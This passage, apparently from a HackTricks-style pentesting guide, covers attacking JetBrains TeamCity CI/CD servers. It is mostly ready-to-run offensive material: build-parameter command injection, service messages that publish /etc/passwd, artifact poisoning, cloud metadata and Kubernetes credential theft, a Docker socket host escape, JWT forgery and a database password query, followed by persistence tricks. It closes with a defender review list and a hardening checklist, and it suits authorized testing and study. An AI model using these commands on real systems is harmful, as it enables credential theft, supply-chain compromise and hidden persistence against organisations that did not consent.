|
%teamcity.pullRequest.title%
|
||||||
|
%teamcity.pullRequest.source.branch%
|
||||||
|
%teamcity.pullRequest.target.branch%
|
||||||
|
%teamcity.build.branch%
|
||||||
|
```
|
||||||
|
|
||||||
|
If those values are inserted into shell, PowerShell, SQL, Docker tags, package names, or deployment arguments without quoting/validation, test command injection and logic manipulation.
|
||||||
|
|
||||||
|
### Run Custom Build Parameter Injection
|
||||||
|
|
||||||
|
Users who cannot edit a build configuration may still be able to run custom builds with modified branch, agent, or parameter values.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/buildQueue" \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "Accept: application/json" \
|
||||||
|
--data '{
|
||||||
|
"buildType":{"id":"Project_Build"},
|
||||||
|
"branchName":"refs/heads/attacker-controlled-branch",
|
||||||
|
"properties":{"property":[
|
||||||
|
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
|
||||||
|
{"name":"system.release.version","value":"1.2.3$(id)"}
|
||||||
|
]}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Look for scripts like:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
deploy --env %env.DEPLOY_ENV%
|
||||||
|
docker build -t registry/app:%system.release.version% .
|
||||||
|
git checkout %teamcity.build.branch%
|
||||||
|
```
|
||||||
|
|
||||||
|
### Service Message Abuse
|
||||||
|
|
||||||
|
TeamCity parses specially formatted output from build steps. If attacker-controlled code runs in a build, it can influence later steps and the server's understanding of the build.
|
||||||
|
|
||||||
|
Useful messages:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Publish arbitrary files as artifacts
|
||||||
|
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
|
||||||
|
|
||||||
|
# Modify parameters for following steps
|
||||||
|
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
|
||||||
|
|
||||||
|
# Poison the build number displayed/published downstream
|
||||||
|
echo "##teamcity[buildNumber '9999-backdoored']"
|
||||||
|
|
||||||
|
# Hide noisy output in collapsed blocks
|
||||||
|
echo "##teamcity[blockOpened name='integration tests']"
|
||||||
|
echo "##teamcity[blockClosed name='integration tests']"
|
||||||
|
```
|
||||||
|
|
||||||
|
This becomes more dangerous when downstream release jobs trust build status, build number, tags, artifact names, or output parameters from an upstream job.
|
||||||
|
|
||||||
|
### Artifact & Dependency Poisoning
|
||||||
|
|
||||||
|
TeamCity build chains often move artifacts between builds. If you can influence an upstream build that publishes artifacts consumed by a privileged downstream build, try to poison:
|
||||||
|
|
||||||
|
- JAR/WAR/NuGet/npm/PyPI packages.
|
||||||
|
- Docker build contexts.
|
||||||
|
- Terraform plan files.
|
||||||
|
- Helm charts and Kubernetes manifests.
|
||||||
|
- SBOM/provenance files.
|
||||||
|
- Test fixtures or generated code consumed by later steps.
|
||||||
|
|
||||||
|
Publish a controlled artifact from a build:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p out
|
||||||
|
cp payload.jar out/app.jar
|
||||||
|
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
|
||||||
|
```
|
||||||
|
|
||||||
|
Then inspect artifact dependencies:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||||
|
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Agent Cloud Pivoting
|
||||||
|
|
||||||
|
If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point.
|
||||||
|
|
||||||
|
AWS IMDS:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||||
|
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||||
|
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||||
|
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||||
|
```
|
||||||
|
|
||||||
|
Fallback if IMDSv1 is allowed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||||
|
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||||
|
```
|
||||||
|
|
||||||
|
Azure IMDS:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||||
|
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||||
|
```
|
||||||
|
|
||||||
|
GCP metadata:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
|
||||||
|
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
|
||||||
|
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
|
||||||
|
```
|
||||||
|
|
||||||
|
Kubernetes:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
|
||||||
|
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
```
|
||||||
|
|
||||||
|
Docker escape checks:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ls -la /var/run/docker.sock
|
||||||
|
docker ps
|
||||||
|
docker run --rm -it -v /:/host alpine chroot /host sh
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pivot Into Internal Services
|
||||||
|
|
||||||
|
Build agents often have reachability to package registries, artifact stores, deployment APIs, databases, and internal admin panels.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
|
||||||
|
echo "### $h"
|
||||||
|
curl -sk --connect-timeout 2 "https://$h/" | head
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
After stealing a shared JWT/HMAC secret from TeamCity parameters, cloud secret stores, artifacts, or repo files, forge tokens for weak internal services:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import jwt, time
|
||||||
|
secret = "leaked-hs256-secret"
|
||||||
|
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
|
||||||
|
print(jwt.encode(payload, secret, algorithm="HS256"))
|
||||||
|
```
|
||||||
|
|
||||||
|
### VCS Root & Repository Credential Abuse
|
||||||
|
|
||||||
|
VCS roots and connections are often more valuable than TeamCity itself.
|
||||||
|
|
||||||
|
Look for:
|
||||||
|
|
||||||
|
- HTTP(S) VCS roots using username/password or PAT.
|
||||||
|
- SSH private keys uploaded to TeamCity.
|
||||||
|
- GitHub App / OAuth / refreshable token connections.
|
||||||
|
- Commit Status Publisher tokens.
|
||||||
|
- Pull Request feature tokens.
|
||||||
|
- Build steps that write to repositories, tags, releases, packages, or workflow files.
|
||||||
|
|
||||||
|
REST enumeration:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||||
|
tcurl "$TC/app/rest/projects/id:Project/features"
|
||||||
|
```
|
||||||
|
|
||||||
|
Post-compromise impact:
|
||||||
|
|
||||||
|
- Push malicious commits/tags to repositories.
|
||||||
|
- Move release tags.
|
||||||
|
- Publish malicious package versions.
|
||||||
|
- Read private repos the tester did not originally have access to.
|
||||||
|
- Add CI/CD config for another platform such as GitHub Actions.
|
||||||
|
- Open/merge PRs using the service identity if it has write access.
|
||||||
|
|
||||||
|
### Debug & Diagnostics Endpoints
|
||||||
|
|
||||||
|
Some dangerous debug functionality is guarded by admin permissions and internal properties. If enabled, it can expose the TeamCity database or process execution.
|
||||||
|
|
||||||
|
Example database query setting:
|
||||||
|
|
||||||
|
```properties
|
||||||
|
rest.debug.database.allow.query.prefixes=select
|
||||||
|
```
|
||||||
|
|
||||||
|
If this is enabled, an admin token may query internal data:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
|
||||||
|
-H "Authorization: Bearer $TCTOKEN"
|
||||||
|
```
|
||||||
|
|
||||||
|
Also inspect whether `/app/rest/debug/processes` is reachable to your role. Treat any enabled debug endpoint as a potential direct server compromise path.
|
||||||
|
|
||||||
|
### Agent-Server Trust & Rogue Agent Angles
|
||||||
|
|
||||||
|
Agents poll the server and receive build settings, repository sources, access credentials/keys, build logs, and artifact data. If agent-to-server communication is plain HTTP or an attacker controls the network path, secrets and source code may be exposed.
|
||||||
|
|
||||||
|
Check:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
|
||||||
|
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
|
||||||
|
```
|
||||||
|
|
||||||
|
Abuse paths:
|
||||||
|
|
||||||
|
- Compromise one agent and inspect work directories for other projects if agents are reused.
|
||||||
|
- Modify checked-out source or cached dependencies for later builds if clean checkout is not enforced.
|
||||||
|
- Steal the agent authorization token/configuration.
|
||||||
|
- Register a rogue agent if you have permissions to authorize project agents or if admins automatically authorize new agents.
|
||||||
|
- Impersonate an existing agent from a compromised host.
|
||||||
|
|
||||||
|
### Logs, Artifacts & Data Directory As Secrets
|
||||||
|
|
||||||
|
TeamCity security notes explicitly warn that read access to the TeamCity Data Directory, server logs, or build artifacts can expose secrets or lead to administrator escalation.
|
||||||
|
|
||||||
|
One specific escalation path is **Super User Access**: TeamCity can allow login as a system administrator with a token written to `teamcity-server.log`. If logs are shipped to a weakly protected log platform or readable by non-admin OS users, search for super-user tokens.
|
||||||
|
|
||||||
|
Hunt:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
|
||||||
|
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
Build logs often contain:
|
||||||
|
|
||||||
|
- Expanded command lines.
|
||||||
|
- Failed deployment commands with credentials in arguments.
|
||||||
|
- Docker login output.
|
||||||
|
- npm/pip/maven publishing errors.
|
||||||
|
- Cloud CLI debug output.
|
||||||
|
- Internal service URLs.
|
||||||
|
|
||||||
|
### Persistence Ideas
|
||||||
|
|
||||||
|
Useful persistence techniques during an authorized red team assessment:
|
||||||
|
|
||||||
|
- Create an access token with a plausible name under a service/admin user.
|
||||||
|
- Add a low-noise build trigger to a rarely reviewed configuration.
|
||||||
|
- Add a project parameter used by an existing deployment step.
|
||||||
|
- Add a hidden or disabled build step that can be re-enabled later.
|
||||||
|
- Add a new VCS root or connection under a legitimate project.
|
||||||
|
- Add a plugin that resembles an internal integration.
|
||||||
|
- Add a new agent pool / cloud profile / agent requirement that routes builds to attacker-controlled infrastructure.
|
||||||
|
- Modify Kotlin DSL in a settings repository.
|
||||||
|
|
||||||
|
Things defenders should review after a TeamCity compromise:
|
||||||
|
|
||||||
|
```text
|
||||||
|
teamcity-activities.log
|
||||||
|
teamcity-server.log
|
||||||
|
teamcity-javaLogging*.log
|
||||||
|
User access tokens
|
||||||
|
Recently created users/groups/roles
|
||||||
|
Plugin upload/load/delete events
|
||||||
|
Build configuration diffs
|
||||||
|
Versioned settings commits
|
||||||
|
VCS root credential changes
|
||||||
|
Agent authorization changes
|
||||||
|
Build triggers and schedules
|
||||||
|
Suspicious artifact publications
|
||||||
|
```
|
||||||
|
|
||||||
|
## Hardening Checklist
|
||||||
|
|
||||||
|
- Keep TeamCity On-Premises fully updated; exposed servers with old auth bypasses are high-value targets.
|
||||||
|
- Do not expose TeamCity directly to the internet unless strong access controls, SSO/MFA, network filtering, and rapid patching are in place.
|
||||||
|
- Disable Guest Login on production servers.
|
||||||
|
- Disable Super User Access with `teamcity.superUser.disable=true` if server logs are exported or broadly readable.
|
||||||
|
- Use least-privilege groups and custom roles instead of broad Project Administrator grants.
|
||||||
|
- Use short-lived scoped tokens for REST automation.
|
||||||
|
- Keep build settings in a separate protected repository if using versioned settings.
|
||||||
|
- Treat PR builds from forks as hostile; use Untrusted Builds, manual approval, and isolated disposable agents.
|
||||||
|
- Separate public/untrusted builds from deployment builds with dedicated agent pools.
|
||||||
|
- Use disposable agents and enforce clean checkout for sensitive builds.
|
||||||
|
- Avoid long-lived cloud/static credentials in parameters; prefer cloud OIDC/workload identity where possible.
|
||||||
|
- Require IMDSv2 on AWS agents and restrict metadata access from containers.
|
||||||
|
- Run agents as low-privileged OS users and avoid mounting Docker socket unless strictly required.
|
||||||
|
- Use HTTPS for agent-to-server traffic.
|
||||||
|
- Restrict plugin installation to trusted admins and review plugin changes.
|
||||||
|
- Keep server logs and TeamCity Data Directory readable only by the TeamCity server OS account and admins.
|
||||||
|
- Use a custom encryption key for secure values instead of relying on the default scrambling mechanism.
|
||||||
|
- Retain build history/logs for investigation and restrict permissions to delete builds.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
|
||||||
|
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
|
||||||
|
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
|
||||||
|
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
|
||||||
|
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
|
||||||
|
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
|
||||||
|
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
|
||||||
|
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
|
||||||
|
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
|
||||||
|
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
|
||||||
|
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
|
||||||
|
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
|
||||||
|
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
|
||||||
|
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
|
||||||
|
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Reference in New Issue
Block a user